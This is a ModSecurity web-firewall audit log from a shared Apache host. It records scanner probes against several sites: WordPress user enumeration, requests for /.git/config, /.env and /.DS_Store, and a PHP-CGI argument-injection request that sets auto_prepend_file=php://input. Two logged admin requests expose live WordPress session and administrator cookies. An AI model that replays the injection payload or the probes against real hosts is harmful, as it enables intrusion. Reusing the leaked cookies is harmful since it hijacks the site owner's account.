Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309796189166 708773 (- - -)
Stopwatch2: 1789309796189166 708773; combined=3284, p1=264, p2=2822, p3=89, p4=54, p5=54, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--44771a77-Z--
--b039955c-A--
[13/Sep/2026:17:29:59.951846 +0300] aqazZUwu1RSkptiiNIUADwAAAIY 35.239.27.78 41178 127.0.0.1 7081
--b039955c-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: chania24.taxi
X-Real-IP: 35.239.27.78
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
--b039955c-F--
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--b039955c-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309797270366 2681542 (- - -)
Stopwatch2: 1789309797270366 2681542; combined=33810, p1=239, p2=33504, p3=0, p4=0, p5=67, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b039955c-Z--
--14b8c30e-A--
[13/Sep/2026:17:35:18.723727 +0300] aqa0pmM7dE9KgIIOpQiElgAAAMI 216.126.237.47 40148 127.0.0.1 7081
--14b8c30e-B--
GET /.git/config HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--14b8c30e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--14b8c30e-E--
--14b8c30e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqa0pmM7dE9KgIIOpQiElgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqa0pmM7dE9KgIIOpQiElgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.git/config"] [unique_id "aqa0pmM7dE9KgIIOpQiElgAAAMI"]
Stopwatch: 1789310118687165 36612 (- - -)
Stopwatch2: 1789310118687165 36612; combined=34981, p1=340, p2=34514, p3=69, p4=7, p5=51, sr=145, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--14b8c30e-Z--
--8ab0b52f-A--
[13/Sep/2026:17:39:57.128489 +0300] aqa1vEhjHs68UzErry1JUwAAAIA 164.92.244.132 57378 127.0.0.1 7081
--8ab0b52f-B--
GET /.DS_Store HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept-Encoding: gzip
--8ab0b52f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 46c5a311-2263-4edd-b094-d68cdf3130ce
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8ab0b52f-H--
Message: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ds_store||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ds_store||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ds_store||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/.DS_Store"] [unique_id "aqa1vEhjHs68UzErry1JUwAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".DS_Store" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ds_store||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.DS_Store"] [unique_id "aqa1vEhjHs68UzErry1JUwAAAIA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310396939703 188843 (- - -)
Stopwatch2: 1789310396939703 188843; combined=32618, p1=290, p2=32253, p3=0, p4=0, p5=74, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--8ab0b52f-Z--
--64e2cd1d-A--
[13/Sep/2026:17:39:58.141284 +0300] aqa1vfut1GUrjaX0wO4ykgAAAMA 164.92.244.132 57386 127.0.0.1 7081
--64e2cd1d-B--
GET /.env HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept-Encoding: gzip
--64e2cd1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 3216e623-8a8b-414e-a2c1-b15e0bb0dc86
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--64e2cd1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.env"] [unique_id "aqa1vfut1GUrjaX0wO4ykgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310397954131 187211 (- - -)
Stopwatch2: 1789310397954131 187211; combined=5802, p1=1062, p2=4676, p3=0, p4=0, p5=63, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--64e2cd1d-Z--
--f2125e26-A--
[13/Sep/2026:17:40:03.280571 +0300] aqa1wkhjHs68UzErry1JVQAAAJU 164.92.244.132 57426 127.0.0.1 7081
--f2125e26-B--
GET /.git/config HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept-Encoding: gzip
--f2125e26-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: ad0c21cb-4034-45ee-8949-1ca7c4d452c3
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f2125e26-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/.git/config"] [unique_id "aqa1wkhjHs68UzErry1JVQAAAJU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/.git/config"] [unique_id "aqa1wkhjHs68UzErry1JVQAAAJU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/.git/config"] [unique_id "aqa1wkhjHs68UzErry1JVQAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310402064257 1216427 (- - -)
Stopwatch2: 1789310402064257 1216427; combined=59438, p1=364, p2=58981, p3=0, p4=0, p5=93, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--f2125e26-Z--
--8ab0b52f-A--
[13/Sep/2026:17:40:03.926468 +0300] aqa1wxsbgHO3aGL3jiTwAQAAABA 164.92.244.132 57438 127.0.0.1 7081
--8ab0b52f-B--
POST /graphql HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip
--8ab0b52f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 0f47bf98-2f93-413e-8570-057fcfea0269
Transfer-Encoding: chunked
Content-Type: application/json
--8ab0b52f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310403538002 388584 (- - -)
Stopwatch2: 1789310403538002 388584; combined=7660, p1=436, p2=6808, p3=0, p4=0, p5=415, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--8ab0b52f-Z--
--f2125e26-A--
[13/Sep/2026:17:40:04.719259 +0300] aqa1xBsbgHO3aGL3jiTwAgAAABI 164.92.244.132 57478 127.0.0.1 7081
--f2125e26-B--
POST /api HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip
--f2125e26-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 1dc3617c-ba38-4a07-85af-b7529eab56bb
Transfer-Encoding: chunked
Content-Type: application/json
--f2125e26-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310404254292 465268 (- - -)
Stopwatch2: 1789310404254292 465268; combined=6766, p1=385, p2=6094, p3=0, p4=0, p5=286, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--f2125e26-Z--
--653e4c1b-A--
[13/Sep/2026:17:40:05.216910 +0300] aqa1xfut1GUrjaX0wO4ymQAAANM 164.92.244.132 57508 127.0.0.1 7081
--653e4c1b-B--
POST /graphql/api HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip
--653e4c1b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 881bf471-acc6-4243-8592-ee9a5a745e24
Transfer-Encoding: chunked
Content-Type: application/json
--653e4c1b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310405123734 93239 (- - -)
Stopwatch2: 1789310405123734 93239; combined=5462, p1=254, p2=4857, p3=0, p4=0, p5=350, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--653e4c1b-Z--
--37275700-A--
[13/Sep/2026:17:40:08.969314 +0300] aqa1yPut1GUrjaX0wO4yngAAAMQ 164.92.244.132 46570 127.0.0.1 7081
--37275700-B--
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D""+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 164.92.244.132
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 164
User-Agent: Mozilla/5.0 (l9scan/2.0.039313e273e29333e29383; +https://leakix.net)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
--37275700-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 53ddd00a-1fe4-46c2-ac4e-36c8b2eb057b
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--37275700-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd cgi.force_redirect=0 \xadd disable_functions="" \xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions=\"\" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input||MV:\xadd cgi.force_redirect=0 \xadd disable_functions=\"\" \xadd allow_url_include=1 \xadd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:\\xadd cgi.force_r...=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310408795800 173566 (- - -)
Stopwatch2: 1789310408795800 173566; combined=6009, p1=326, p2=5423, p3=0, p4=0, p5=260, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--37275700-Z--
--45e09a05-A--
[13/Sep/2026:17:49:04.204608 +0300] aqa33-ut1GUrjaX0wO4zpAAAAMw 78.87.196.204 42948 127.0.0.1 7081
--45e09a05-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 78.87.196.204
X-WP-Nonce: 6d27a0e876
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: application/json, */*;q=0.1
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chania24.taxi/wp-admin/post.php?post=20679&action=edit
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB,en;q=0.9,el-GR;q=0.8,el;q=0.7
Cookie: _ga=GA1.1.181966085.1712228971; wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=uvavbn46mi2tbhkd53hndac7cj; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wp_lang=en_US; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1776878041; _gcl_au=1.1.1307926906.1788109074; cookieconsent_status=dismiss; _ga_9DD6XGB9ZW=GS2.1.s1788802881$o7$g0$t1788802881$j60$l0$h0; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789316727%7CSamQAt7NLYEM5B4PT80Yt44Vwl5GXW9LRLMrAZo4zYN%7Cf2623c0c5e3be4ba3d134c4718e3e24da9b83b92d22e20489b822e552da9a54b; wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5
--45e09a05-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 6d27a0e876
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--45e09a05-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310943580705 624067 (- - -)
Stopwatch2: 1789310943580705 624067; combined=8390, p1=1159, p2=6875, p3=0, p4=0, p5=203, sr=1087, sw=153, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "1712228971" "-"
Engine-Mode: "ENABLED"
--45e09a05-Z--
--2f24932b-A--
[13/Sep/2026:17:49:19.895431 +0300] aqa37-ut1GUrjaX0wO4zqAAAAMU 78.87.196.204 55002 127.0.0.1 7081
--2f24932b-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 78.87.196.204
X-WP-Nonce: 6d27a0e876
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: application/json, */*;q=0.1
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chania24.taxi/wp-admin/post.php?post=20679&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB,en;q=0.9,el-GR;q=0.8,el;q=0.7
Cookie: _ga=GA1.1.181966085.1712228971; wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=uvavbn46mi2tbhkd53hndac7cj; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wp_lang=en_US; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1776878041; _gcl_au=1.1.1307926906.1788109074; cookieconsent_status=dismiss; _ga_9DD6XGB9ZW=GS2.1.s1788802881$o7$g0$t1788802881$j60$l0$h0; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789316727%7CSamQAt7NLYEM5B4PT80Yt44Vwl5GXW9LRLMrAZo4zYN%7Cf2623c0c5e3be4ba3d134c4718e3e24da9b83b92d22e20489b822e552da9a54b; wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5
--2f24932b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 6d27a0e876
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--2f24932b-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310959377053 518510 (- - -)
Stopwatch2: 1789310959377053 518510; combined=9196, p1=402, p2=8426, p3=0, p4=0, p5=215, sr=207, sw=153, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "1712228971" "-"
Engine-Mode: "ENABLED"
--2f24932b-Z--
--7dc06749-A--
[13/Sep/2026:17:52:17.405909 +0300] aqa4ofut1GUrjaX0wO4z-AAAAMs 172.86.81.83 43380 127.0.0.1 7081
--7dc06749-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--7dc06749-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7dc06749-E--
--7dc06749-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
